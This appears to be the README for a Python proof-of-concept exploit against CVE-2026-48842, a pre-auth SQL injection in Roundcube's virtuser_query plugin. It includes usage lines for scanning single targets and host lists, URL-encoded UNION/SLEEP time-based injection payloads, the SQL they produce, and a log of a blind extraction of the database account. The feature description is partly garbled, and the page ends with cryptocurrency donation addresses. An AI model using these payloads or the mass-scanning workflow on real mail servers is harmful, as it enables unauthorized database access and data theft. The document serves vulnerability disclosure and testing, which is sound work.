
Python PoC for CVE-2026-48842, a pre-auth SQL injection in Roundcube's virtuser_query plugin. Confirms the flaw via time-based differential and blind-reads the DB account.
virtuser_query pre-auth SQLiPoc for CVE-2026-48842, a pre-auth SQL injection in the optional
virtuser_query plugin of Roundcube Webmail.
The tool does two things and refuses to guess about either:
--dumpdbuser.It prints the exact SQL each probe produces, so a failed or inconclusive result is never presented as a finding.
| CVE | CVE-2026-48842 |
| Type | CWE-89 — SQL injection |
| Component | plugins/virtuser_query/virtuser_query.php (not enabled by default) |
| Affected | Roundcube 1.6.x < 1.6.16, 1.7.x < 1.7.1 |
| Fixed | 1.6.16, 1.7.1 |
requestspip install requests
python cve_2026_48842_poc.py https://mail.example.tld
python cve_2026_48842_poc.py https://mail.example.tld --dumpdbuser
python cve_2026_48842_poc.py https://mail.example.tld -d 3 --dumpdbuser
python cve_2026_48842_poc.py --list hosts.txt
python cve_2026_48842_poc.py --list hosts.txt -d 3
| Argument | Description | Default |
|---|---|---|
target | Roundcube base URL, e.g. https://mail.example.tld or http://host/roundcube | — |
-l, --list FILE | File with one target URL per line. # starts a comment. | — |
-d, --delay N | SLEEP seconds per oracle probe | 7 |
--dumpdbuser | Blind-read CURRENT_USER() once the injection is confirmed | off |
-h, --help | Show help | — |
Real run against a local Roundcube 1.6.15:
[*] http://127.0.0.1/roundcube
version=1.6.15 noise_floor=0.071s _token=yes
[1] detection injected=True delta(true-false)=6.026s delta(true-baseline)=6.015s threshold=1.8s
baseline 0.083s http=401 sql_error=None
_user=poc_baseline_user_9f2a
SQL 1.6.15: SELECT host FROM virtuser WHERE user='poc_baseline_user_9f2a'
artifact_unterminated 0.09s http=401 sql_error=None
_user=a%5C
SQL 1.6.15: SELECT host FROM virtuser WHERE user='a\'
injected_true 6.098s http=401 sql_error=None
_user=%5C%27+UNION+SELECT+IF%281%3D1%2CSLEEP%283%29%2C0%29--+-
SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=1,SLEEP(3),0)-- -'
injected_false 0.072s http=401 sql_error=None
_user=%5C%27+UNION+SELECT+IF%281%3D2%2CSLEEP%283%29%2C0%29--+-
SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=2,SLEEP(3),0)-- -'
[2] blind read of the database account (~42s per byte, no quotes used)
subquery: SELECT CURRENT_USER()
length=14 bytes
[ 1/14] 'r' [ 2/14] 'ro' [ 3/14] 'roo' [ 4/14] 'root'
[ 5/14] 'root@' [ 6/14] 'root@l' [ 7/14] 'root@lo' [ 8/14] 'root@loc'
[ 9/14] 'root@loca' [ 10/14] 'root@local' [ 11/14] 'root@localh'
[ 12/14] 'root@localho' [ 13/14] 'root@localhos' [ 14/14] 'root@localhost'
[+] database account = 'root@localhost'
If this project helped you, consider supporting its development:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE
